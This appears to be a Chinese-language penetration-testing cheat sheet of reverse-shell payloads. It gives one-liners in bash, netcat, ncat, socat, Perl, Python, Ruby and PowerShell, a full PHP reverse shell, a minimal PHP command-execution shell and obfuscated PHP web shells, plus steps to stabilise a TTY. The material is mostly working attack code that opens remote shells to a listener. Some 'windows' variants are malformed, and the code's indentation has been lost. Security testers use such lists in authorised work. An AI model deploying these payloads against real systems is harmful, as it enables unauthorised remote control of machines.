- bash -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
- /bin/bash -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5

windows
- cmd -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
- powershell -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5
- pwsh -i 5<> /dev/tcp/127.0.0.1/4444 0<&5 1>&5 2>&5

  • Bash udp
1
2
3
4
5
6
7
8
9
10
11
12
13

linux/mac
- sh -i >& /dev/udp/127.0.0.1/4444 0>&1
- /bin/sh -i >& /dev/udp/127.0.0.1/4444 0>&1
- bash -i >& /dev/udp/127.0.0.1/4444 0>&1
- /bin/bash -i >& /dev/udp/127.0.0.1/4444 0>&1

windows
- cmd -i >& /dev/udp/127.0.0.1/4444 0>&1
- powershell -i >& /dev/udp/127.0.0.1/4444 0>&1
- pwsh -i >& /dev/udp/127.0.0.1/4444 0>&1


  • nc mkfifo
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 127.0.0.1 4444 >/tmp/f

windows
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|cmd -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|powershell -i 2>&1|nc 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|pwsh -i 2>&1|nc 127.0.0.1 4444 >/tmp/f

  • nc -e
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- nc 127.0.0.1 4444 -e sh
- nc 127.0.0.1 4444 -e /bin/sh
- nc 127.0.0.1 4444 -e bash
- nc 127.0.0.1 4444 -e /bin/bash

windows
- nc 127.0.0.1 4444 -e cmd
- nc 127.0.0.1 4444 -e powershell
- nc 127.0.0.1 4444 -e pwsh

  • nc -c
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- nc -c sh 127.0.0.1 4444
- nc -c /bin/sh 127.0.0.1 4444
- nc -c bash 127.0.0.1 4444
- nc -c /bin/bash 127.0.0.1 4444

windows
- nc -c cmd 127.0.0.1 4444
- nc -c powershell 127.0.0.1 4444
- nc -c pwsh 127.0.0.1 4444

  • ncat -e
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- ncat 127.0.0.1 4444 -e sh
- ncat 127.0.0.1 4444 -e /bin/sh
- ncat 127.0.0.1 4444 -e bash
- ncat 127.0.0.1 4444 -e /bin/bash

windows
- ncat 127.0.0.1 4444 -e cmd
- ncat 127.0.0.1 4444 -e powershell
- ncat 127.0.0.1 4444 -e pwsh

  • ncat udp
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f

windows
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|cmd -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|powershell -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f
- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|pwsh -i 2>&1|ncat -u 127.0.0.1 4444 >/tmp/f

  • rustcat
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- rcat 127.0.0.1 4444 -r sh
- rcat 127.0.0.1 4444 -r /bin/sh
- rcat 127.0.0.1 4444 -r bash
- rcat 127.0.0.1 4444 -r /bin/bash

windows
- rcat 127.0.0.1 4444 -r cmd
- rcat 127.0.0.1 4444 -r powershell
- rcat 127.0.0.1 4444 -r pwsh

  • Haskell #1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

module Main where

import System.Process

#下面這一條有不同使用方式,根據自身環境選擇其中一條 `main=...` 使用
#linux/mac
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | sh -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | bash -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"

#windows
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | cmd -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | powershell -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"
- main = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | pwsh -i 2>&1 | nc 127.0.0.1 4444 >/tmp/f"

  • Perl
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

windows
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("cmd -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("powershell -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("pwsh -i");};'

  • Perl no sh
1
2
3
4
5
6
7
8
9

linux/mac
- perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
- perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};'

windows
- perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"127.0.0.1:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

  • Python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

linux/mac
#python2
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

#python3
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'


windows
#python2
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("cmd")'
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("powershell")'
- export RHOST="127.0.0.1";export RPORT=4444;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("pwsh")'

- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("cmd")'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("powershell")'
- python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("pwsh")'

#python3
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("cmd")'
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("powershell")'
- export RHOST="127.0.0.1";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("pwsh")'

- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("cmd")'
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("powershell")'
- python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("pwsh")'


  • Python3 shortest
1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/sh")'
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

windows
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("cmd")'
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("powershell")'
- python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("127.0.0.1",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("pwsh")'

  • Ruby
1
2
3
4

linux/mac/windows
- ruby -rsocket -e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("127.0.0.1",4444))'

  • Ruby no sh
1
2
3
4

linux/mac/windows
- ruby -rsocket -e'exit if fork;c=TCPSocket.new("127.0.0.1","4444");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'

  • socat
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

linux/mac/
- socat TCP:127.0.0.1:4444 EXEC:sh
- socat TCP:127.0.0.1:4444 EXEC:/bin/sh
- socat TCP:127.0.0.1:4444 EXEC:bash
- socat TCP:127.0.0.1:4444 EXEC:/bin/bash
- socat TCP:127.0.0.1:4444 EXEC:'sh',pty,stderr,setsid,sigint,sane
- socat TCP:127.0.0.1:4444 EXEC:'/bin/sh',pty,stderr,setsid,sigint,sane
- socat TCP:127.0.0.1:4444 EXEC:'bash',pty,stderr,setsid,sigint,sane
- socat TCP:127.0.0.1:4444 EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane

windows
- socat TCP:127.0.0.1:4444 EXEC:cmd
- socat TCP:127.0.0.1:4444 EXEC:powershell
- socat TCP:127.0.0.1:4444 EXEC:pwsh
- socat TCP:127.0.0.1:4444 EXEC:'pwsh',pty,stderr,setsid,sigint,sane
- socat TCP:127.0.0.1:4444 EXEC:'cmd',pty,stderr,setsid,sigint,sane
- socat TCP:127.0.0.1:4444 EXEC:'powershell',pty,stderr,setsid,sigint,sane

For Windows

  • nc.exe -e

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12

    linux/mac
    - nc.exe 127.0.0.1 4444 -e sh
    - nc.exe 127.0.0.1 4444 -e /bin/sh
    - nc.exe 127.0.0.1 4444 -e bash
    - nc.exe 127.0.0.1 4444 -e /bin/bash

    windows
    - nc.exe 127.0.0.1 4444 -e cmd
    - nc.exe 127.0.0.1 4444 -e powershell
    - nc.exe 127.0.0.1 4444 -e pwsh

  • ncat.exe -e

1
2
3
4
5
6
7
8
9
10
11
12

linux/mac
- ncat.exe 127.0.0.1 4444 -e sh
- ncat.exe 127.0.0.1 4444 -e /bin/sh
- ncat.exe 127.0.0.1 4444 -e bash
- ncat.exe 127.0.0.1 4444 -e /bin/bash

windows
- ncat.exe 127.0.0.1 4444 -e cmd
- ncat.exe 127.0.0.1 4444 -e powershell
- ncat.exe 127.0.0.1 4444 -e pwsh

  • PowerShell
1
2
3
4
5
6
7

linux/mac/windows
- powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
- powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
- powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
- powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('127.0.0.1', 4444);$NetworkStream = $TCPClient.GetStream();$SslStream = New-Object Net.Security.SslStream($NetworkStream,$false,({$true} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned) {$SslStream.Close();exit}$StreamWriter = New-Object IO.StreamWriter($SslStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()};WriteToStream '';while(($BytesRead = $SslStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"

  • Python3 Windows

僅需修改 Popen(["sh"]裡面的sh,根據環境使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

import os,socket,subprocess,threading;
def s2p(s, p):
while True:
data = s.recv(1024)
if len(data) > 0:
p.stdin.write(data)
p.stdin.flush()

def p2s(s, p):
while True:
s.send(p.stdout.read(1))

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",4444))

p=subprocess.Popen(["sh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["/bin/sh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["/bin/bash"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["cmd"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["powershell"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)
#p=subprocess.Popen(["pwsh"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE)

s2p_thread = threading.Thread(target=s2p, args=[s, p])
s2p_thread.daemon = True
s2p_thread.start()

p2s_thread = threading.Thread(target=p2s, args=[s, p])
p2s_thread.daemon = True
p2s_thread.start()

try:
p.wait()
except KeyboardInterrupt:
s.close()

PHP Reverse Shell

  • Pentestmonkey’s reverse shell
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151


    <?php
    // php-reverse-shell - A Reverse Shell implementation in PHP
    // Copyright (C) 2007 [email protected]

    set_time_limit (0);
    $VERSION = "1.0";
    $ip = ''; // You have changed this
    $port = ; // And this
    $chunk_size = 1400;
    $write_a = null;
    $error_a = null;
    $shell = 'uname -a; w; id; /bin/sh -i';
    $daemon = 0;
    $debug = 0;

    //
    // Daemonise ourself if possible to avoid zombies later
    //

    // pcntl_fork is hardly ever available, but will allow us to daemonise
    // our php process and avoid zombies. Worth a try...
    if (function_exists('pcntl_fork')) {
    // Fork and have the parent process exit
    $pid = pcntl_fork();

    if ($pid == -1) {
    printit("ERROR: Can't fork");
    exit(1);
    }

    if ($pid) {
    exit(0); // Parent exits
    }

    // Make the current process a session leader
    // Will only succeed if we forked
    if (posix_setsid() == -1) {
    printit("Error: Can't setsid()");
    exit(1);
    }

    $daemon = 1;
    } else {
    printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
    }

    // Change to a safe directory
    chdir("/");

    // Remove any umask we inherited
    umask(0);

    //
    // Do the reverse shell...
    //

    // Open reverse connection
    $sock = fsockopen($ip, $port, $errno, $errstr, 30);
    if (!$sock) {
    printit("$errstr ($errno)");
    exit(1);
    }

    // Spawn shell process
    $descriptorspec = array(
    0 => array("pipe", "r"), // stdin is a pipe that the child will read from
    1 => array("pipe", "w"), // stdout is a pipe that the child will write to
    2 => array("pipe", "w") // stderr is a pipe that the child will write to
    );

    $process = proc_open($shell, $descriptorspec, $pipes);

    if (!is_resource($process)) {
    printit("ERROR: Can't spawn shell");
    exit(1);
    }

    // Set everything to non-blocking
    // Reason: Occsionally reads will block, even though stream_select tells us they won't
    stream_set_blocking($pipes[0], 0);
    stream_set_blocking($pipes[1], 0);
    stream_set_blocking($pipes[2], 0);
    stream_set_blocking($sock, 0);

    printit("Successfully opened reverse shell to $ip:$port");

    while (1) {
    // Check for end of TCP connection
    if (feof($sock)) {
    printit("ERROR: Shell connection terminated");
    break;
    }

    // Check for end of STDOUT
    if (feof($pipes[1])) {
    printit("ERROR: Shell process terminated");
    break;
    }

    // Wait until a command is end down $sock, or some
    // command output is available on STDOUT or STDERR
    $read_a = array($sock, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    // If we can read from the TCP socket, send
    // data to process's STDIN
    if (in_array($sock, $read_a)) {
    if ($debug) printit("SOCK READ");
    $input = fread($sock, $chunk_size);
    if ($debug) printit("SOCK: $input");
    fwrite($pipes[0], $input);
    }

    // If we can read from the process's STDOUT
    // send data down tcp connection
    if (in_array($pipes[1], $read_a)) {
    if ($debug) printit("STDOUT READ");
    $input = fread($pipes[1], $chunk_size);
    if ($debug) printit("STDOUT: $input");
    fwrite($sock, $input);
    }

    // If we can read from the process's STDERR
    // send data down tcp connection
    if (in_array($pipes[2], $read_a)) {
    if ($debug) printit("STDERR READ");
    $input = fread($pipes[2], $chunk_size);
    if ($debug) printit("STDERR: $input");
    fwrite($sock, $input);
    }
    }

    fclose($sock);
    fclose($pipes[0]);
    fclose($pipes[1]);
    fclose($pipes[2]);
    proc_close($process);

    // Like print, but does nothing if we've daemonised ourself
    // (I can't figure out how to redirect STDOUT like a proper daemon)
    function printit ($string) {
    if (!$daemon) {
    print "$string
    ";
    }
    }

    ?>

Basic RCE

成功上傳 payload 後,只需將指令放在變數後面即可

  • ?cmd= (ex: ?cmd=ls -la")
1
2
3

<?php system($_GET["cmd"]);?>

Web Shell

shell:~# 是一個非常基本的單一檔案 PHP shell。
當對 PHP 應用程式進行滲透測試時,它可用於在伺服器上快速執行命令

Obfuscated PHP Web Shell

1
2
3

<?=`$_POST[0]`?>

1
2
3

<?=`{$_REQUEST['_']}`?>

1
2
3

<?=$_="";$_="'" ;$_=($_^chr(4*4*(5+5)-40)).($_^chr(47+ord(1==1))).($_^chr(ord('_')+3)).($_^chr(((10*10)+(5*3))));$_=${$_}['_'^'o'];echo`$_`?>

1
2
3

<?php $_="{"; $_=($_^"<").($_^">;").($_^"/"); ?><?=${'_'.$_}['_'](${'_'.$_}['__']);?>

TTY Spawn Shell

以下指令允許您產生 tty shell
其中一些取決於系統環境和安裝的軟體套件

All the steps to stabilize your shell

  • 使用 Python 產生功能更好的 bash shell
  • shell 看起來會更漂亮一些,但仍然無法使用 Tab 自動完成或箭頭鍵操作
    1
    2
    3

    python3 -c 'import pty;pty.spawn("/bin/bash")'

使我們能夠存取術語指令,例如clear

1
2
3

export TERM=xterm

  • Finally (and most importantly) we will background the shell using Ctrl + Z

回到終端

1
2
3

stty raw -echo; fg

